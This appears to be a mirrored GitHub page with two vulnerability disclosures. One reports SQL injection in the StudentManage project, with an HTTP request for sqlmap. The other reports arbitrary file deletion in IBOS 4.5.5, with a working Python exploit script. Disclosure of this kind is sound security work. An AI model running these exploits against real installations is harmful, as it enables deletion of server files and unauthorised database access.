Giter Club home page Giter Club logo

cve's Introduction

🔱 About A7cc

  • Born in 🌏
  • Cybersecurity Worker 😎
  • I hope to make a little progress every day compared to yesterday 👊
  • Advocate good project open source ✨
  • Any problem that can be solved by tools, never manually handled 🖐

✨ Contributed

github contribution grid snake animation

a7cc's GitHub stats | Top Langs

You are visitor

cve's People

Contributors

a7cc avatar

Watchers

 avatar

cve's Issues

DayCloud/StudentManage has an SQL injection vulnerability in the src \ com \ dayrain \ Dao \ CourseDao.java file

In this project, database operations are mainly carried out in Dao layer files, which use a large number of SQL statement concatenation, such as the following:
图片
It can be observed that in the getCourseList function of the CourseDao.java file, the query parameter is directly concatenated into the SQL statement without filtering:
图片
Backtracking to the getCourseList function under the CourseService class method, without filtering:
图片
Continuing back to the AdminCourseController.Java file in the Controller layer, it was discovered that the user input parameter query was directly obtained and assigned to the query variable through the request.getParameter function, which was then passed to the courseService.getCourseList function, causing an SQL injection vulnerability:
图片
EXP:
Log in to the backend and use sqlmap to utilize the following data packets:

post.txt

GET /StudentManage/admin/adminCourseUrl?query=a HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8080/StudentManage/admin/adminCourseUrl
Cookie: JSESSIONID=6F5BB433C24A3852A1BC7A0DED85F41A; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1708572429; ujcms-visit-unique-visitor=3997217217705102; ujcms-unique-visitor=4539723231056234169; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1713171277
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

图片

IBOSv4.5.5 has an arbitrary file deletion vulnerability \system\modules\dashboard\controllers\LoginController.php

Build the source code locally by downloading:https://gitee.com/ibos/IBOS
The vulnerability exists:http://127.0.0.1/?r=dashboard/default/index
First, log in to the backend management and enter General Settings ->Login Page Background. The routing is at /?r=dashboard/default/index:
aa
Using burp:
aaa
Change the path to the api/authlogin.php file in the current website directory:
aaaa
Sending data packet, found that the file has been moved to the data\login directory:
qq
At this point, the file authlogin.php was only moved to a new directory, and then we overwritten the previously copied file authlogin.php with api\wxqy\callback.php in the root directory of the file website:
qwq
Sending data packet, found that the previous authlogin.php has been deleted:
asa
Next, try deleting files outside the website directory. First, create an a.txt file in the installation directory of the website, and then construct the data package:
asas
After sending the data packet, a.txt has been copied to the data\login directory and can be accessed:
图片
EXP:

import requests

ip = "127.0.0.1"
path = "api/wxqy/index2.php"
headers = {"Cookie":"8Q9V_saltkey=E2pIP4YJ; PHPSESSID=fefbcg8l1ptrocsorqk78nbba1; 8Q9V_sid=2jsy5x; 8Q9V_lastactivity=1694436951; 8Q9V_ulastactivity=2841MZj%2FBBFnVMEdm1nGhhav%2BAaSSOmjmgoTsLJvhTS%2BnoO1%2BQVU",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded",
"Content-Length":"174",
"Connection":"close"}
data = "bgs%5B1%5D%5Bimage%5D={}&file=&bgs%5B1%5D%5Bdisabled%5D=0&bgs%5B2%5D%5Bimage%5D=data%2Flogin%2Fibos_login2.jpg&file=&bgs%5B2%5D%5Bdisabled%5D=0&removeId=&loginSubmit="
code1 = requests.post(url="http://{}/?r=dashboard/login/index".format(ip),data=data.format(path),headers=headers).status_code
code2 = requests.get(url="http://{}/data/login/{}".format(ip,path.split("/", -1)[-1]))
if code1 == 302 and code2 == 200:
    print("[+] del {}".format(path))

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.